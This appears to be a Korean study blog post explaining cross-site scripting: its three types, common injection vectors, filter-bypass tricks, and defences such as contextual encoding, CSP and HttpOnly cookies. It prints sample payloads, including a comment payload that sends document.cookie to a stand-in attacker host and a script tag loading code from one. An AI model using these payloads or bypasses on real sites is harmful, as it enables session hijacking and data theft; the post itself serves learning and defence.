XSS (Cross-Site Scripting)은 웹 애플리케이션의 위험하고 흔한 보안 취약점 중 하나로 공격자가 웹 페이지에 악성 스크립트를 삽입하여 사용자의 브라우저에서 실행되게 만드는 공격 기법입니다
SQL Injection과 더불어 기초적인 취약점으로 알려져 있으나, 공격 패턴이 다양하고 변화가 많이 이루어진다는 점이 있습니다
XSS는 다른 웹 사이트와 정보를 교환하는 식으로 작동하도록 합니다
이 공격은 웹 사이트 관리자가 아닌 웹 페이지에 클라이언트 측에서 실행될 수 있는 악성 스크립트를 삽입할 수 있는 취약점을 이용합니다
주로 클라이언트의 세션 하이재킹, 피싱, 악성 코드 유포, 무단 요청 전송 등의 목적으로 활용됩니다
XSS도 사용자로부터 입력 받은 데이터를 적절히 검증하거나 이스케이프 처리하지 않고 웹 페이지에 그대로 반영하는 입력값 검증이 제대로 이루어지지 않은 경우에 발생합니다
XSS 공격의 작동 과정은 다음과 같습니다
XSS 공격을 위한 주요 진입점은 사용자 입력이 웹 페이지에 출력되는 모든 곳 입니다
공격자는 주로 웹 사이트의 폼, URL 매개변수 등의 사용자 입력을 이용합니다
폼 필드, URL 매개변수, HTTP 헤더, 쿠키 값 등에 악성 코드를 삽입합니다
게시판 글, 댓글, 사용자 프로필, 검색 결과 등 사용자 입력이 출력되는 모든 위치가 공격 대상이 될 수 있습니다
XSS 공격은 크게 세 가지 유형으로 분류됩니다
Stored XSS는 악성 스크립트가 웹 애플리케이션 서버에 저장되어 해당 페이지를 방문하는 모든 사용자에게 영향을 미치는 형태입니다
게시물, 댓글, 사용자 프로필 정보 등에 악성 스크립트를 삽입할 수 있습니다
다음은 공격 과정입니다
Stored XSS는 한 번 성공하면 관리자 입장에서는 알아채기 힘들며 피해가 광범위해질 수 있다는 것이 특징입니다
아래는 간단한 예시입니다
// 악성 댓글 예시
<script>fetch('https://attacker.com/steal?cookie=' + document.cookie)</script>
Reflected XSS는 공격자가 조작한 링크를 사용자가 클릭할 때 서버로부터 악성 스크립트가 포함된 응답이 바로 반환되어 실행되는 형태입니다
검색 기능, 오류 메시지, 사용자 입력을 즉시 출력하는 애플리케이션 등에서 발생할 수 있습니다
공격 과정은 다음과 같습니다
URL이 길면 클라이언트가 의심할 수 있기 때문에 URL 단축을 이용해 짧게 만들어 공격하기도 합니다
서버에 스크립트를 저장하는 방식이 아니라서 서버의 필터링을 피할 수 있다는 특징이 있습니다
아래는 간단한 예시입니다
https://victim.com/search?query=<script>alert(1)</script>
DOM-based XSS는 원래 서버 응답은 변경하지 않고 클라이언트 측에서 DOM (Document Object Model)을 조작하여 악성 스크립트를 실행시키는 형태입니다
URL의 # 뒤에 있는 데이터를 이용하는 경우가 대표적입니다
아래는 공격 과정입니다
Reflected XSS는 서버 측에서 동적 페이지를 구성하는 환경에서 발생하는 반면에 DOM-based XSS는 클라이언트 측에서 사용자 입력 값을 통해 동적 페이지를 구성하는 환경에서 발생합니다
요청이 서버로 전송되지 않고 클라이언트 브라우저에서 공격이 이루어지는 특징을 가집니다
아래는 간단한 예시입니다
// 악성 해시 기반 URL
https://example.com/#<img src=x onerror=alert('xss')>
// 취약한 JS 코드
document.getElementById('output').innerHTML = location.hash;
공격 벡터란 해커가 시스템 취약성을 악용하기 위해 네트워크 또는 컴퓨터에 불법적으로 액세스하는 경로 또는 방법입니다
공격자들은 다양한 방식으로 악성 스크립트를 웹 페이지에 삽입할 수 있습니다
아래는 각 방식들에 대한 예시를 나타냈습니다
가장 대표적인 공격 방식으로 <script> 태그 자체를 입력값에 삽입해 브라우저에서 JavaScript가 실행되도록 만듭니다
아래의 예시는 첫 번째로 페이지가 렌더링될 때 바로 alert("XSS")가 실행됩니다
두 번째 예시는 외부 JavaScript 파일을 불러와 실행합니다
이로 인해 공격자는 더 복잡한 악성 코드를 서버에서 관리하며 삽입할 수 있습니다
<script>alert("XSS");</script>
<script src="http://attacker.example.com/xss.js"></script>
HTML의 태그의 속성 중 onload, onerror, onfocus 등과 같이 on으로 시작하는 이벤트 핸들러에 JavaScript 코드를 삽입하는 방식입니다
예를 들어 이미지가 정상적으로 로드되지 않을 때 onerror 이벤트가 발생해 그 안에 삽입된 코드가 실행됩니다
이벤트 핸들러는 다양한 상황에서 발생할 수 있어 공격 범위가 넓습니다
<img src=x onerror=alert("XSS")>
<body onload=alert("XSS")>
HTML 태그의 속성 (src, href, style) 등에 javascript: 프로토콜을 이용해 직접 JavaScript 코드를 실행시키는 방식입니다
속성에 javascript:를 넣으면 해당 속성이 참조될 때 코드가 실행되지만 최신 브라우저에서는 일부 차단됩니다
CSS 속성 내에도 실행 가능했으나 지금은 대부분 차단됩니다
HTML 속성 내에서의 JavaScript 실행은 브라우저별 동작 차이가 있으므로 공격자는 다양한 조합과 인코딩 우회 기법을 함께 사용합니다
<img src="javascript:alert('XSS');">
<link rel="stylesheet" href="javascript:alert('XSS');">
<div style="background-image: url(javascript:alert('XSS'))">
<iframe> 태그는 외부 웹페이지를 현재 페이지 내에 삽입할 수 있습니다
공격자는 악성 스크립트가 포함된 페이지를 iframe으로 불러와 사용자가 해당 콘텐츠를 보게 하거나 클릭재킹 등 다른 공격과 결합해 사용이 가능합니다
여기도 마찬가지로 javascript: 프로토콜을 넣는 방식도 시도되나 최신 브라우저에서는 대부분 차단됩니다
iframe을 이용한 공격은 피싱, 세션 하이재킹, 클릭재킹 등 다양한 보안 위협과 연계될 수 있습니다
단순히 <script>나 javascript: 등 특정 문자열만을 막는 블랙리스트 필터링을 우회하기 위한 다양한 변형 기법입니다
대소문자 혼합: HTML 태그와 속성은 대소문자를 구분하지 않으므로, <ScRiPt>처럼 대소문자를 섞어 필터를 우회할 수 있습니다
태그 중첩 / 겹쳐쓰기: <scr<script>ipt>처럼 태그를 쪼개거나 중첩해서 필터링 로직을 혼란시키는 방식입니다
이벤트 핸들러 반복: <img ononerrorerror=alert()>처럼 이벤트 속성을 반복해 필터를 우회할 수 있습니다
HTML 엔티티 및 특수문자 인코딩: <a href="javascript:alert(1)">처럼 인코딩을 활용해 필터를 피할 수 있습니다
이러한 우회 기법들은 필터링이 미흡하거나 단순한 경우 쉽게 뚫릴 수 있으므로, 화이트리스트 기반 필터링과 컨텍스트 인식 이스케이프가 중요합니다
그럼 이제 방어 기법에 대해 알아봐야겠죠?
방어 기법은 다음과 같습니다
사용자의 입력값을 허용 목록 기반 (Whitelist) 으로 검증합니다
// 화이트리스트 기반 필터링
const cleanInput = input.replace(/[^a-zA-Z0-9]/g, '');
정규식 활용: /[<>"'&]/ 패턴 탐지 후 거부라이브러리 도입: Google Caja, DOMPurify를 통한 구조적 검증사용자 입력이 HTML로 해석되지 않도록 처리합니다
| 컨텍스트 | 인코딩 방법 | 예시 ( " → ) |
|---|---|---|
| HTML 요소 | HTML Entity | < → < |
| HTML 속성 | Hex Encoding | " → " |
| JavaScript 코드 | Unicode Escape | " → \u0022 |
| CSS 컨텍스트 | CSS Escape | " → \22 |
// Node.js에서의 Contextual Encoding
const { escape } = require('html-escaper');
escape('<script>alert(1)</script>'); // <script>...
그리고 프레임워크에서 제공하는 안전한 출력 함수를 사용합니다
콘텐츠 보안 정책으로 script-src 지시어를 활용해 외부 스크립트 로딩을 제한합니다
인라인 스크립트, eval() 사용 금지가 가능합니다
Content-Security-Policy:
default-src 'self';
script-src 'nonce-random123' 'strict-dynamic';
style-src 'self' https://fonts.googleapis.com;
img-src 'self' data:;
Nonce 기반 실행: 서버에서 생성한 일회성 토큰신뢰 도메인 제한: CDN 등 외부 스크립트 화이트리스트 관리세션 쿠키에 HttpOnly 옵션 설정 시 JavaScript에서 접근이 불가합니다
Set-Cookie: sessionId=abc123; HttpOnly; Secure; SameSite=Strict
웹 개발 프레임워크나 라이브러리 자체가 기본적으로 제공하는 XSS 방지 기능을 사용해 방지합니다
개발자가 직접 모든 입력값을 검증하거나 출력 시 이스케이프 처리를 하지 않아도 프레임워크가 내부적으로 안전한 처리를 자동으로 해주어 XSS 취약점 발생 가능성을 크게 줄여줍니다
const userInput = "<script>alert('xss')</script>";
return <div>{userInput}</div>; // 실제로는 <, > 등이 이스케이프되어 스크립트가 실행되지 않음
추가적으로 동적 분석 도구 활용으로 OSWAP ZAP을 이용해 실시간 스크립트 주입을 탐지하고, Broswer DevTools로 CSP 위반을 모니터링 할 수 있으며 머신러닝 기반 이상 탐지도 가능합니다
짧게 XSS에 대해 알아보았습니다
XSS도 마찬가지로 다양한 공격 기법이 존재해 방어가 어렵지만 CSP만 적용해도 XSS 성공률을 상당히 낮출 수 있습니다
XSS도 SQLI나 Command Injection처럼 개발 단계에서 이를 고려하는 것이 중요하며 간단한 실수로 치명적인 보안 취약점으로 이어질 수 있습니다
아직 기본적인 웹 해킹 기법을 공부하고 있으나 배우면 배울수록 왜 방어가 어려운지 체감이 되는 것 같습니다
약간 방어자가 "막아야 한다" 이러고 있는동안 공격자는 "딸깍" 하는 느낌이랄까요
개발만 하는 것도 쉽지 않을텐데 취약점까지 생각하면서 개발을 하려면 더 힘들 것 같네요
공격 기법이 이렇게 다양한데 보안 사고가 일어나는 것도 이해가 됩니다
아무튼 이번 실습도 기대가 되네요ㅎㅎ